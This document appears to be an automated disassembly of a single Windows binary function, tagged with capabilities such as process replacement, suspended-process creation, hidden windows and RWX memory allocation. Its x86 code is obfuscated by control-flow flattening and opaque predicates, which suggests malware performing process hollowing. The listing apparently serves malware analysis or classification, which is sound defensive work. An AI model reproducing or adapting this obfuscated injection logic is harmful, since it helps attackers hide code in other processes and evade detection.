Function at 0x100087a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x134
mov eax, dword [0x10074c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x13c], 0xfe8a7ece
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x140], eax
sub eax, 0x80168137
je 0x1000faf5
jmp 0x100087dc
mov eax, dword [ebp - 0x140]
sub eax, 0x804367d2
je 0x1001314e
jmp 0x100087f2
mov eax, dword [ebp - 0x140]
sub eax, 0x807d04a0
je 0x10016612
jmp 0x10008808
mov eax, dword [ebp - 0x140]
sub eax, 0x80959129
je 0x1000d291
jmp 0x1000881e
mov eax, dword [ebp - 0x140]
sub eax, 0x80da5d6c
je 0x1000eddc
jmp 0x10008834
mov eax, dword [ebp - 0x140]
sub eax, 0x81661add
je 0x10015cfb
jmp 0x1000884a
mov eax, dword [ebp - 0x140]
sub eax, 0x819bdd4f
je 0x10016c22
jmp 0x10008860
mov eax, dword [ebp - 0x140]
sub eax, 0x81ab87d8
je 0x10011de3
jmp 0x10008876
mov eax, dword [ebp - 0x140]
sub eax, 0x824193c5
je 0x10015f02
jmp 0x1000888c
mov eax, dword [ebp - 0x140]
sub eax, 0x826622e2
je 0x100129b3
jmp 0x100088a2
mov eax, dword [ebp - 0x140]
sub eax, 0x8389daa6
je 0x1001257e
jmp 0x100088b8
mov eax, dword [ebp - 0x140]
sub eax, 0x838cb4ef
je 0x10015fbd
jmp 0x100088ce
mov eax, dword [ebp - 0x140]
sub eax, 0x838cf89c
je 0x100113e7
jmp 0x100088e4
mov eax, dword [ebp - 0x140]
sub eax, 0x839f3224
je 0x10012b8e
jmp 0x100088fa
mov eax, dword [ebp - 0x140]
sub eax, 0x84d7e87c
je 0x10015d71
jmp 0x10008910
mov eax, dword [ebp - 0x140]
sub eax, 0x854c0d9a
je 0x1000ecf6
jmp 0x10008926
mov eax, dword [ebp - 0x140]
sub eax, 0x8565c966
je 0x10014c35
jmp 0x1000893c
mov eax, dword [ebp - 0x140]
sub eax, 0x862ade58
je 0x1000edcd
jmp 0x10008952
mov eax, dword [ebp - 0x140]
sub eax, 0x8671a3ef
je 0x10015dde
jmp 0x10008968
mov eax, dword [ebp - 0x140]
sub eax, 0x86ac9a98
je 0x10010c35
jmp 0x1000897e
mov eax, dword [ebp - 0x140]
sub eax, 0x8785d404
je 0x10016be3
jmp 0x10008994
mov eax, dword [ebp - 0x140]
sub eax, 0x87a702f3
je 0x1000d8ef
jmp 0x100089aa
mov eax, dword [ebp - 0x140]
sub eax, 0x87ac31e2
je 0x100126a0
jmp 0x100089c0
mov eax, dword [ebp - 0x140]
sub eax, 0x87bce280
je 0x1000f8b8
jmp 0x100089d6
mov eax, dword [ebp - 0x140]
sub eax, 0x884ab3c4
je 0x10011d82
jmp 0x100089ec
mov eax, dword [ebp - 0x140]
sub eax, 0x8865adb9
je 0x100112e7
jmp 0x10008a02
mov eax, dword [ebp - 0x140]
sub eax, 0x8880dcf8
je 0x1001075e
jmp 0x10008a18
mov eax, dword [ebp - 0x140]
sub eax, 0x8937cd9c
je 0x1001475c
jmp 0x10008a2e
mov eax, dword [ebp - 0x140]
sub eax, 0x89c256b4
je 0x10013e3c
jmp 0x10008a44
mov eax, dword [ebp - 0x140]
sub eax, 0x89f73348
je 0x100160b2
jmp 0x10008a5a
mov eax, dword [ebp - 0x140]
sub eax, 0x89fa1c23
je 0x1000fad8
jmp 0x10008a70
mov eax, dword [ebp - 0x140]
sub eax, 0x8af83781
je 0x1000cc91
jmp 0x10008a86
mov eax, dword [ebp - 0x140]
sub eax, 0x8afc9574
je 0x1000dc6c
jmp 0x10008a9c
mov eax, dword [ebp - 0x140]
sub eax, 0x8b4e8c8d
je 0x10012304
jmp 0x10008ab2
mov eax, dword [ebp - 0x140]
sub eax, 0x8c3805d7
je 0x100161e8
jmp 0x10008ac8
mov eax, dword [ebp - 0x140]
sub eax, 0x8c5d539f
je 0x1000ccb0
jmp 0x10008ade
mov eax, dword [ebp - 0x140]
sub eax, 0x8d30277f
je 0x1000cb85
jmp 0x10008af4
mov eax, dword [ebp - 0x140]
sub eax, 0x8d367505
je 0x100141e0
jmp 0x10008b0a
mov eax, dword [ebp - 0x140]
sub eax, 0x8d3d6fb3
je 0x1001570a
jmp 0x10008b20
mov eax, dword [ebp - 0x140]
sub eax, 0x8da6ec1a
je 0x1000d158
jmp 0x10008b36
mov eax, dword [ebp - 0x140]
sub eax, 0x8dcc6001
je 0x1001183c
jmp 0x10008b4c
mov eax, dword [ebp - 0x140]
sub eax, 0x8df0f167
je 0x1000e24e
jmp 0x10008b62
mov eax, dword [ebp - 0x140]
sub eax, 0x8df551cc
je 0x1000f356
jmp 0x10008b78
mov eax, dword [ebp - 0x140]
sub eax, 0x8e4b54d8
je 0x10012e4c
jmp 0x10008b8e
mov eax, dword [ebp - 0x140]
sub eax, 0x8e708fca
je 0x100124b3
jmp 0x10008ba4
mov eax, dword [ebp - 0x140]
sub eax, 0x8eaf159c
je 0x1001613d
jmp 0x10008bba
mov eax, dword [ebp - 0x140]
sub eax, 0x8eb7abfb
je 0x1001650a
jmp 0x10008bd0
mov eax, dword [ebp - 0x140]
sub eax, 0x90af394a
je 0x1000cf77
jmp 0x10008be6
mov eax, dword [ebp - 0x140]
sub eax, 0x90f351ec
je 0x1000df4a
jmp 0x10008bfc
mov eax, dword [ebp - 0x140]
sub eax, 0x91acaf54
je 0x1000dc4d
jmp 0x10008c12
mov eax, dword [ebp - 0x140]
sub eax, 0x920279a0
je 0x1000da28
jmp 0x10008c28
mov eax, dword [ebp - 0x140]
sub eax, 0x921f6881
je 0x1000ce5d
jmp 0x10008c3e
mov eax, dword [ebp - 0x140]
sub eax, 0x925acbac
je 0x1000df2b
jmp 0x10008c54
mov eax, dword [ebp - 0x140]
sub eax, 0x92fae49d
je 0x10014e9a
jmp 0x10008c6a
mov eax, dword [ebp - 0x140]
sub eax, 0x93bae677
je 0x1000dba1
jmp 0x10008c80
mov eax, dword [ebp - 0x140]
sub eax, 0x93e5f916
je 0x10012bcc
jmp 0x10008c96
mov eax, dword [ebp - 0x140]
sub eax, 0x94d43241
je 0x10013253
jmp 0x10008cac
mov eax, dword [ebp - 0x140]
sub eax, 0x95723ff1
je 0x1000dc2e
jmp 0x10008cc2
mov eax, dword [ebp - 0x140]
sub eax, 0x958af4ec
je 0x1000e305
jmp 0x10008cd8
mov eax, dword [ebp - 0x140]
sub eax, 0x96081c2c
je 0x1000ea67
jmp 0x10008cee
mov eax, dword [ebp - 0x140]
sub eax, 0x962432cc
je 0x100121a6
jmp 0x10008d04
mov eax, dword [ebp - 0x140]
sub eax, 0x963c6391
je 0x10010c54
jmp 0x10008d1a
mov eax, dword [ebp - 0x140]
sub eax, 0x978a3f61
je 0x10010c92
jmp 0x10008d30
mov eax, dword [ebp - 0x140]
sub eax, 0x97f93ff4
je 0x1000d282
jmp 0x10008d46
mov eax, dword [ebp - 0x140]
sub eax, 0x990d4556
je 0x100167a1
mov dword [ebp - 0x13c], 0x490e7148
jmp 0x10016c2c
movss xmm0, dword [0x100237d0]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x13c], 0x8c5d539f
jmp 0x10016c2c
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdcb7a1e3
mov ecx, 0xbc68a8f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0x586c6ea0
jmp 0x10016c2c
mov dl, 1
mov eax, 0x8da6ec1a
mov ecx, 0xd2f94ed7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
movss xmm0, dword [0x100237c0]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x13c], 0xfe626fa5
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0x80959129
jmp 0x10016c2c
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0x2c45840a
sub edx, 1
add edx, 0x2c45840a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x996c948
mov ecx, 0x423d8250
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
movss xmm0, dword [0x100237a0]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x13c], 0xa0517594
jmp 0x10016c2c
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
add edx, 0x355c00e3
sub edx, 1
sub edx, 0x355c00e3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x37a2a9d8
mov ecx, 0xef33c6c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
movss xmm0, dword [0x100234ac]
movss dword [ebp - 0x108], xmm0
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
add edx, 0xc53fe82b
sub edx, 1
sub edx, 0xc53fe82b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61d986e2
mov ecx, 0x7c2c68b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
movss xmm0, dword [0x10023798]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x13c], 0x91acaf54
jmp 0x10016c2c
movss xmm0, dword [0x10023794]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x13c], 0x8afc9574
jmp 0x10016c2c
movss xmm0, dword [0x10023790]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1002378c]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10023788]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x13c], 0x67729b5d
jmp 0x10016c2c
movss xmm0, dword [0x10023780]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x13c], 0x90f351ec
jmp 0x10016c2c
mov dl, 1
mov eax, 0xc01cfdfc
mov ecx, 0x9b481cd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76677e4e
mov ecx, 0x50aa4d69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov dl, 1
mov eax, 0x9f79a1c0
mov ecx, 0x15224158
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
movss xmm0, dword [0x10023490]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x1002348c]
movss dword [ebp - 0x114], xmm0
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0xe420d67a
sub edx, 1
add edx, 0xe420d67a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd92b84b5
mov ecx, 0xb2d30ca4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0xa1f47f45
sub edx, 1
add edx, 0xa1f47f45
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x89f73348
mov ecx, 0xbb4c318f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0x80da5d6c
jmp 0x10016c2c
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0xca46ba8f
sub edx, 1
add edx, 0xca46ba8f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4c560c2
mov ecx, 0xa892f21b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
sub edx, 0x15939486
sub edx, 1
add edx, 0x15939486
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9ba2ee5d
mov ecx, 0x39c0fb04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0x26cd1e85
sub edx, 1
add edx, 0x26cd1e85
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe29fa38f
mov ecx, 0x34ac89c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov dl, 1
mov eax, 0xe32f3915
mov ecx, 0x80168137
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
movss xmm0, dword [0x100236c8]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x100236c4]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x13c], 0x33a20f5f
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0x13e1698b
jmp 0x10016c2c
movss xmm0, dword [0x10023664]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x13c], 0x963c6391
jmp 0x10016c2c
movss xmm0, dword [0x10023660]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x13c], 0x344a15e8
jmp 0x10016c2c
mov dl, 1
mov eax, 0xce8689aa
mov ecx, 0xc732a2b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
movss xmm0, dword [0x10023418]
movss dword [ebp - 0x128], xmm0
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
sub edx, 0x7acfd277
sub edx, 1
add edx, 0x7acfd277
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa7661dc5
mov ecx, 0xfe8619db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0xe0e81faa
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0xefd6c9e
jmp 0x10016c2c
movss xmm0, dword [0x100233fc]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
add edx, 0xb792eb5a
sub edx, 1
sub edx, 0xb792eb5a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1fa24c5
mov ecx, 0x81ab87d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov dl, 1
mov eax, 0x1eb188f6
mov ecx, 0xc9a879ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov dl, 1
mov eax, 0x6480fa7
mov ecx, 0x50c5f331
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov dl, 1
mov eax, 0x42637391
mov ecx, 0xce6cddb8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0xaa713694
sub edx, 1
add edx, 0xaa713694
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xffe5bccc
mov ecx, 0xf67982d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov dl, 1
mov eax, 0x87ac31e2
mov ecx, 0x68bc27cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
add edx, 0xd9953a9
sub edx, 1
sub edx, 0xd9953a9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7c45f882
mov ecx, 0x35fef151
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
movss xmm0, dword [0x10023558]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x13c], 0xd1dd2836
jmp 0x10016c2c
movss xmm0, dword [0x10023550]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x1002354c]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x13c], 0x1fc0fd4f
jmp 0x10016c2c
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
add edx, 0x7f33ccaa
sub edx, 1
sub edx, 0x7f33ccaa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x501691ff
mov ecx, 0x46baabfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
movss xmm0, dword [0x10023538]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x13c], 0xf01e2cb2
jmp 0x10016c2c
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
add edx, 0xc21ef2e8
sub edx, 1
sub edx, 0xc21ef2e8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd6484a8
mov ecx, 0x6a7695a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
add edx, 0x2917f6cd
sub edx, 1
sub edx, 0x2917f6cd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfb3cace9
mov ecx, 0x7764d493
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
add edx, 0x4b060212
sub edx, 1
sub edx, 0x4b060212
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3c418bf6
mov ecx, 0xc0c9cd4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x88], eax
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
sub edx, 0x6f4b77ae
sub edx, 1
add edx, 0x6f4b77ae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7955003d
mov ecx, 0x68821498
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov dword [eax], 0
mov dword [ebp - 0x13c], 0xd30b44e2
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0x64343318
jmp 0x10016c2c
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x13c], 0x35964a1c
jmp 0x10016c2c
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x13c], 0x27f28194
jmp 0x10016c2c
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
sub edx, 0xa7a8bb7c
sub edx, 1
add edx, 0xa7a8bb7c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x819bdd4f
mov ecx, 0x84d7e87c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0xdf6a9854
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0xaf8abfb3
jmp 0x10016c2c
movss xmm0, dword [0x100234b4]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x13c], 0xf4882c87
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0x1d1994e
jmp 0x10016c2c
movss xmm0, dword [0x10023484]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x13c], 0xbb4c318f
jmp 0x10016c2c
movss xmm0, dword [0x10023474]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x10023470]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x1002346c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x13c], 0x562a4bd8
jmp 0x10016c2c
movss xmm0, dword [0x1002345c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x13c], 0x5a709a1f
jmp 0x10016c2c
movss xmm0, dword [0x10023404]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10023400]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x13c], 0xf7d3838b
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0xd7d88ea9
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0x994e1356
jmp 0x10016c2c
mov dword [ebp - 0x13c], 0x81661add
jmp 0x100087c0